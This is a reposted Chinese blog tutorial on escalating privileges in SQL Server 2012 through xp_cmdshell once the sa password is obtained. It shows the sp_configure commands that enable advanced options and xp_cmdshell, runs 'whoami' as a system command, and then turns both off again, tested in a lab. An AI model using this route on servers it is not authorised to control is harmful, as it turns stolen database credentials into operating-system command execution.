Sql Server 2012 xp_cmdshell提权

xp_cmdshell是Sql Server中的一个组件,可以用来执行系统命令
在拿到sa口令之后,经常可以通过xp_cmdshell来进行提权
在这里以Windows Server 2012 和 Sql Server 2012为例进行测试

1.查看xp_cmdshell状态

首先通过管理工具来查看xp_cmdshell状态
右击实例名->方面

《Sql Server 2012 xp_cmdshell提权》 image.png

选择外围应用配置器

《Sql Server 2012 xp_cmdshell提权》 image.png

可以看到现在的xp_cmdshell是关闭状态

《Sql Server 2012 xp_cmdshell提权》 image.png

然后我们通过sql指令来查看是否存在xp_cmdshell

右击数据库,新建查询,执行以下命令

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

《Sql Server 2012 xp_cmdshell提权》 image.png

可以看到返回结果是1

2.开启xp_cmdshell

命令如下

EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
GO

《Sql Server 2012 xp_cmdshell提权》 image.png

可以看到报错提示xp_cmdshell不存在也可能是高级选项
前面已经通过命令查询存在xp_cmdshell组件,那只可能是高级选项
通过命令开启允许编辑高级选项,命令如下

EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO

《Sql Server 2012 xp_cmdshell提权》 image.png

然后再去开启xp_cmdshell

《Sql Server 2012 xp_cmdshell提权》 image.png

3.通过xp_cmdshell执行系统命令

通过xp_cmdshell执行系统命令指令如下

master..xp_cmdshell 'whoami'

《Sql Server 2012 xp_cmdshell提权》 image.png

4.关闭xp_cmdshell

和刚才一样,只不过需要把1改为0

EXEC sp_configure 'xp_cmdshell', 0
GO
RECONFIGURE
GO

《Sql Server 2012 xp_cmdshell提权》 image.png

同样,关闭高级选项编辑也是

EXEC sp_configure 'show advanced options', 0
GO
RECONFIGURE
GO

《Sql Server 2012 xp_cmdshell提权》 image.png

    原文作者:老夫不才
    原文地址: https://www.jianshu.com/p/85db175a05e3
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞